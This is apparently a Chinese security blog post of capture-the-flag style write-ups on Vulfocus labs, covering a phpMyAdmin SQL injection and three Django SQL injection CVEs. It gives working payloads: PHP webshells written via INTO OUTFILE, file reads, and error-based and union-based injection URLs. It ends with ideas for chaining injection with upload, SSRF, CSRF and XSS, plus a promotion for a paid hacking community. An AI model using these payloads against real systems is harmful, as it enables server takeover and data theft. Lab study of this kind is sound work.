由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
工作总结 / SUMMARY
文件读取 | 目标 |
【phpmyadmin-SQL注入】 | 数据库中写马 |
【Django-SQL注入1】 | 接口中可控参数注入 |
【Django-SQL注入2】 | 可控参数注入 |
【Django-SQL注入3】 | 参数注入 |
SQL漏洞-组合思路 | 5个组合思维 |
phpmyadmin-SQL注入
vulfocus/phpmyadmin-cve_2020_5504
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:64697
编辑
(看见这种页面,一般人就直接放弃了)
编辑
1.2、知识:
1、<pre>
pre 元素可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。
<pre> 标签的一个常见应用就是用来表示计算机的源代码
2、写马
select into outfile "/path/file"
(知道log路径,也可以写入log中,如select '<?php eval($_GET[g]);?>')
1.3、描述:
基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等
(mysql是不允许外网连接的,有第三方工具就方便多了)
2.1、分析:
URL后面加上/pma/index.php
(进入到了登陆页面)
提示的
账号密码root/123456
编辑
编辑
执行SQL语句
编辑
输入
select @@datadir
(查询数据库的路径)
编辑
select @@basedir
(查询MYSQL数据库的安装路径)
编辑
网站路径就凭经验和爆破了
SELECT load_file('/var/www/html/pma/index.php')
返回数据包4kb,一看就有东西,就对了
所以网站绝对路径为/var/www/html/pma
编辑
写马
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php'
编辑
其他思路:
在sql执行环境下也有其他方法传参(但太过于复杂,token还需要截取点击go后的数据包来填)
http://ip:port/pma/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))–+db=&token=&viewing_mode=server
而且要一级一级往下去查询
(所以能写马,就写马)
2.4、解题:
使用写入的参数cmd传入值
刚开始用的cat读取文件(一想才知道flag是文件名)
编辑
http://ip:port/pma/shell.php?cmd=ls /tmp
编辑
Django-SQL注入1
Django-SQL注入CVE-2021-35042
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:30212
编辑
打开直接给了一个vuln接口(送分了属于是)
编辑
1.2、知识:
1、也就是分析参数带入前后有没有发生变化了
但很多时候仅仅通过页面,是无法分析出的
(使用bp抓包后,对数据包分析是否有差别)
2、掌握基本函数,注入方法
updatexml报错注入
`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码(为`~`),updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
1.3、描述:
Django 3.2 ,3.1
允许 QuerySet.order_by SQL 注入。http://ip:port/vuln/?order=
2.1、分析:
编辑
http://ip:port/vuln/?order=id
(从1到4升序排列)
编辑
http://ip:port/vuln/?order=-id
(从4到1降序排列)
编辑
返回的数据随值的改变而改变
(带入到了数据库中被执行)
可以通过报错注入,来查看信息
http://ip:port/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
编辑
/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select @@version)),1)%23
编辑
/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select database())),1)%23
编辑
/vuln/?order=vuln_collection.id);select updatexml(1,concat(0x7e,(select user())),1)%23编辑
……
(报数据库,表,字段,数据)
2.4、解题:
编辑
Django-SQL注入2
vulfocus/django-cve_2022_28346
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:36682
编辑
(我之前实战中遇见过很多这种草率的页面,都以为放弃就没管了,害)编辑
1.2、知识:
1、报错回显参数(黑盒有点难遇见)
得找那种以前的老网站看看,关注回显的参数等信息
2、代码审计(白盒)
寻找危险函数,及用户可控的变量地方,跟踪变量,查看过滤机制,以及是否被带入SQL语句中执行
1.3、描述:
1、Django在2.2.28 版本之前的2.2版本、3.2.13版本之前的3.2版本、4.0.4版本之前的4.0版本使用QuerySet.annotate() aggregate() extra()数据
2、QuerySet.annotate()、aggregate() 和 extra() 方法会通过精心制作的字典(带有字典扩展)作为传递的 **kwargs 在列别名中进行 SQL 注入。
2.1、分析:
查看报错页面,是否存在信息泄露
demo/
编辑
访问demo接口,分析是否有其他信息泄露,或能传参
报错信息提示了一个参数name
编辑
访问:http://ip:port/demo?field=demo.name
编辑POC:
http://ip:port/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
编辑
2.4、解题:
http://123.58.224.8:36682/demo/?field=demo.name" FROM "demo_user" union SELECT "1",phpinfo(),"3" --
编辑
django-SQL注入3
vulfocus/django-cve_2019_14234
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:23290
编辑
(如果显示连接超时也是正常的,继续往后看)
编辑
1.2、知识:
1、参数带入(白盒更容易分析参数,黑盒就在数据包里面看看运气)
源码分析,如果在Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入
2、路径
源码审计,路径可以方便得到。黑盒的话,也得分析数据包,看天吃饭了
1.3、描述:
Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句
2.1、分析:
URL后面上加上
/admin/
从右上角可以看出已经处于登陆状态了
编辑
此时URL输入为
http://ip:port/admin/vuln/collection/
(这一看就是查询的地方)
编辑
/admin/vuln/collection/?detail__a'b=1编辑
其他思路:
1、考虑使用 or 1=1 永真带出数据
2、使用DNSLog带外
2.4、解题:
编辑
SQL注入-组合漏洞
组合漏洞
1、文件上传功能+SQL注入
1)目的:向包含文件上传功能的Web应用程序发送恶意请求,以便绕过服务器端的验证和过滤,将恶意文件上传到服务器上,然后执行恶意代码。
2)使用SQL注入技术来绕过应用程序的验证和过滤,从而成功恶意代码,使Web应用程序在上传后将文件存储到服务器上
3)利用服务器上存储的恶意代码来控制、攻击、破坏或盗取数据等操作
——————————————
——————————————
2、SQL注入+SSRF(服务器端请求伪造)
目的:获取更多信息
1)通过SQL注入,获取到存储在数据库中的URL和IP地址
2)然后更改应用程序的请求方式,将伪造的请求发送到一个URL(该URL是存储在数据库中的目标URL之一)
3)使用这种技术来绕过防火墙和其他安全措施,以访问受限资源,从而完成SSRF攻击
——————————————
——————————————
3、SQL注入+文件包含
1)通过SQL注入获取到数据库中存储的文件的路径
2)将这个路径放到包含文件的代码中,从而实现文件包含漏洞攻击
——————————————
——————————————
4、SQL注入+CSRF(跨站请求伪造)
1)SQL注入是攻击后端数据库,而CSRF是攻击前端网站
2)SQL注入获取到用户的登录凭证,或者在数据库中插入一些假用户,并将这些用户的凭证记录下来。
3)将这些凭证应用于CSRF攻击中
——————————————
——————————————
5、SQL注入+XSS( 跨站脚本攻击)
1)SQL注入是利用传入的数据来修改或者篡改数据库中的数据
2)XSS则是利用网站上的漏洞注入恶意脚本,以达到获取敏感信息或者控制网站的目的
3)如果存在SQL注入漏洞,可以利用SQL漏洞来注入恶意脚本来实现XSS攻击
4)利用SQL注入漏洞来向数据库中插入带有恶意脚本的数据
5)当网站将这些数据从数据库中提取出来并显示在网页上时,这些恶意脚本就被执行
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读